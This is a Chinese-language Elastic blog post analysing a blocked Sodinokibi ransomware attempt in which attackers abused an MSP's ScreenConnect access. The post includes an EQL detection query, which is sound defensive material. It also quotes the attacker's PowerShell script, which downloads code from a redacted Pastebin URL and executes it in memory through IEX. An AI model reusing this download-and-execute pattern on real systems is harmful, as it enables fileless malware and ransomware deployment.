勒索软件,成功拦截:Sodinokibi 和供应链 | Elastic Blog
工程

勒索软件,成功拦截:Sodinokibi 和供应链

本博文中提及的 Elastic Endpoint Security 解决方案现在称为 Elastic Security。Elastic Security 解决方案范围更广,可提供端点安全、SIEM、威胁搜寻、云监测等功能。以后若提到 Elastic 端点安全将指用户可以在采集管理器中启用的特定反恶意软件保护。

上个月,Elastic 安全保护团队阻止了一次尝试未果的勒索软件攻击,此次攻击针对的是由我们一个客户(一家托管服务提供商 (MSP))监测的一家公司/组织。Elastic Endpoint Security 在多个端点上阻止了敌手的进程注入尝试后,我们分析了所生成的告警。敌手通常首先尝试将他们的恶意代码注入到当前运行进程中,然后才会加密并攫取受害人的数据以进行勒索。

我们在此案例中观测到的行为与有关恶意行动者的报告相一致,这些恶意行动者为了在企业层面部署勒索软件已将目光瞄准了 MSP。通过滥用 MSP 与其客户之间的信任关系,此类性质的攻击所造成的影响越来越大:能够让小型企业瘫痪,干扰交通运输,甚至中断至为关键的市政公共服务。

在此案例中有很重要的一点需要注意:敌手是通过另外一家 MSP(并非 Elastic 安全解决方案的客户)进入目标环境的,所以对于所涉环境以及其遭到入侵的过程我们并不知晓具体细节。

在此篇博文中,我们将会讨论所观测到并阻止的恶意行为,为什么此类攻击通常能广为传播并取得成功,以及您可以在企业中采取哪些措施来降低此类攻击的有效性。

Elastic 安全情报与分析是 Elastic 安全工程部门内的一个团队,该团队会使用来自参与计划的客户的匿名安全遥测数据来跟踪威胁并改进产品,其任务之一就是收集告警元数据。通过监测对诸多客户造成影响的事件的模式,我们能够及时作出决策,从而更好地缓解新出现的威胁或为社区提供关键信息。

阻止恶意进程注入

阻止了数次进程注入尝试后,我们发现了入侵的最早期证据。恶意行动者可利用进程注入来执行当前运行进程的地址空间中的代码。敌手经常通过执行这一操作来实现下列目的:避免被安全产品检测到,或者在运行于更高完整性级别上的进程中运行他们的恶意代码以提升自身权限。

ransomware-prevention-blog-process-injection-alerts.png

Elastic Endpoint Security 平台中的进程注入告警

通过分析进程注入告警,我们得以确定 PowerShell(一款强大的原生脚本框架)被用来尝试向其自身注入 Shellcode(这一行为通常都是恶意的)。powershell.exe 进程作为 ScreenConnect.WindowsClient.exe(一款远程桌面支持应用程序)的一个子进程被成功创建出来。ScreenConnect 等此类软件可用于允许 IT 管理员连接至远程计算机并为终端用户提供支持,但此类应用程序经常会遭到敌手的滥用(这一策略又称作“离地攻击”)。

下图便是 Resolver™ 中与此案例相关的异常进程系谱,我们通过可视化来展示与攻击相关的事件。

Resolver™ 显示与进程注入尝试行为相关的进程系谱

请注意 cmd.exepowershell.exe 均为 ScreenConnect.WindowsClient.exe 进程的子进程。鉴于它们能够执行恶意命令或脚本,这一点很可疑,但单独来看的话,这并不一定表示存在恶意活动。为您的环境建立基线,并理解企业中正常进程间的关系,这两点对猎捕、检测和响应恶意行为十分关键。

在此案例中,通过对进程及其命令行变量进行审查,我们发现敌手正是利用了 ScreenConnect 远程桌面软件来连接至目标端点并向其中复制了一个批处理文件。通过在 Resolver™ 中检查一个 cmd.exe 进程,我们发现这个批处理文件包括一个通过 Base64 编码的 PowerShell 脚本且此脚本随后得到了执行。

通过 EQL 检测并阻止非预期行为

尽管这家由 Elastic Endpoint Security 提供保护的潜在目标公司/组织避免了一次代价高昂的勒索软件爆发,但仍有很多 MSP 尚未能理解这一方法。这个敌手知道服务提供商通常已与其客户建立绝对信任关系,因而各种各样的服务提供商对敌手而言很有价值。

一旦敌手获得了其目标环境的最初访问权限,他们很典型的做法就是寻求并滥用这种绝对信任关系,正如我们在此案例中看到的一样。受害的公司/组织信任 MSP 通过远程桌面支持应用程序与其环境建立的连接,这就导致了供应链入侵风险。

在考虑如何监测和保护这些信任关系时,一个很好的出发点就是聚焦于能从受信任方连接至您的网络的应用程序。将 ScreenConnect 的子进程加入黑名单可能并非阻止此类恶意行为的可行解决方案,因为这可能会阻止合法支持人员有效开展工作。然而,安全监测团队可以决定将使用网络的 ScreenConnect 子进程归于可疑之列,进而检测和阻止恶意行为。借助 Elastic 的 Event Query Language(EQL,事件查询语言)便能够做到这一点,而且这也是培养环境意识的一个常用方法。

下方的 EQL 查询会搜索一个包括两个事件的序列(通过进程的唯一进程 ID (PID) 连接在一起)。第一个事件会查找 ScreenConnect*.exe 的子进程。第二个事件会查找来自该子进程的网络活动。这个查询可以轻松地进行扩展,以将其他远程访问软件也包括在内,或筛选您环境中的预期活动。

sequence by unique_pid
  [process where descendant of [process where process_name == "ScreenConnect*.exe"]]
  [network where true]

通过 Elastic Endpoint Security,用户还能够配置一个 Reflex 响应行动,通过这种方法客户能够实施他们自己的自定义阻止规则。举个例子,当子进程建立网络连接时,我们可以强行将其关闭,这样便能够阻止下载更多恶意代码,或阻止命令和控制活动。

在 Elastic Endpoint Security 平台中配置 Reflex 响应行动

Elastic Endpoint Security 提供了数百条我们自己的、基于行为的分析结果,其中便包括一些检测和阻止方法,针对的就是 Windows、MacOS 或 Linux 操作系统原生第三方管理工具或二进制文件的异常进程关系。

对敌手谍报技能的分析结果

所执行的 PowerShell 脚本首先会检查处理器架构,然后才会利用 .NET WebClient 类从 Pastebin 下载内容,并利用 Invoke-Expression (IEX) cmdlet 来执行代码。通过 PowerShell 来下载和执行代码时,这在敌手当中是一种特别流行的做法。

Pastebin 是一项纯文本托管和分享服务,合法用户经常使用此服务来分享代码片段。然后,恶意行动者也会利用 Pastebin 或类似网站来存储恶意代码或发布已泄露的凭据。

If ($ENV:PROCESSOR_ARCHITECTURE  - contains 'AMD64')  {
    Start - Process  - FilePath "$Env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"  - argument "IEX ((new-object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));Invoke-LJJJIWVSRIMKPOD;Start-Sleep -s 1000000;"
} else {
    IEX ((new - object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));
    Invoke - LJJJIWVSRIMKPOD;
    Start - Sleep  - s 1000000;
}
从 pastebin.com 下载内容1 的 PowerShell 脚本

由于在端点上完全没有或仅有极少的磁盘活动,所以此类行为通常会归类为“无文件”或“内存内”攻击。Elastic Endpoint Security 代理检测到“无文件”攻击时,其会自动收集并提取预发布的已注入代码和字符串。此功能确保了我们对所阻止行为拥有完整可见性。

VirusTotal 上对所收集的部分字符串进行搜索后,我们发现了来自 Sodinokibi 勒索软件家族的数个样本。

下面的具体工具标记和行为表示:此活动与 BleepingComputer 和 Cynet 所举报的 Sodinokibi 或 Gandcrab 勒索软件样本的执行活动一致:

  • 恶意行动者利用 ScreenConnect 远程桌面支持软件来从侵入的 MSP 连接到目标企业。
  • ScreenConnect 被用来向端点上复制一个批处理脚本,这个批处理脚本上包含一个 PowerShell 脚本,以便从 Pastebin 下载并注入恶意代码。
  • PowerShell 脚本包含 cmdlet 和字符串(例如 Invoke-LJJJIWVSRIMKPODStart-Sleep),而这些内容已在其他 Sodinokibi 勒索软件活动中观测到。
  • 从所注入线程中收集的字符串与过去 24 小时内提交至 VirusTotal 的 Sodinokibi 勒索软件样本一致。

敌手向自身注入 Shellcode 并执行勒索软件的企图被阻止后,他们对最初端点的攻击停止。15 分钟后,敌手返回并企图在另外 5 个端点上执行同一套程序,均以失败告终,此后他们才最终放弃。他们尝试部署勒索软件的所有行为均被阻止。

结论

在此篇文章中,我们讨论了一个关于恶意行动者滥用 MSP 与其客户间的信任关系并企图部署勒索软件的真实案例。这一案例凸显了理解下面两点的重要性:贵公司/组织与第三方之间的关系,以及如果连接遭到滥用可能会造成哪些影响。

通过对告警进行分析,我们知道敌手通过远程桌面支持软件连接至客户环境并执行了恶意脚本,以期能够下载、注入并执行恶意软件。敌手的所有尝试行为均被阻止。

这一案例还展示了下面两点的重要性:需要采用分层安全方法,而且必须能够检测并阻止敌方行为和“无文档”攻击。我们剖析了攻击者采用的程序,并展示了如何搭配使用 EQL 和 Reflex 来创建自定义规则和响应。

仅查找恶意文件尚且不够;Elastic Endpoint Security 针对勒索软件、“无文件”攻击、钓鱼、漏洞攻击和敌方行为提供基于行为的多层保护措施。

Elasticsearch 中已添加 EQL 支持

1 — 此内容随后已由其创建者或 Pastebin 员工从 Pastebin 中删除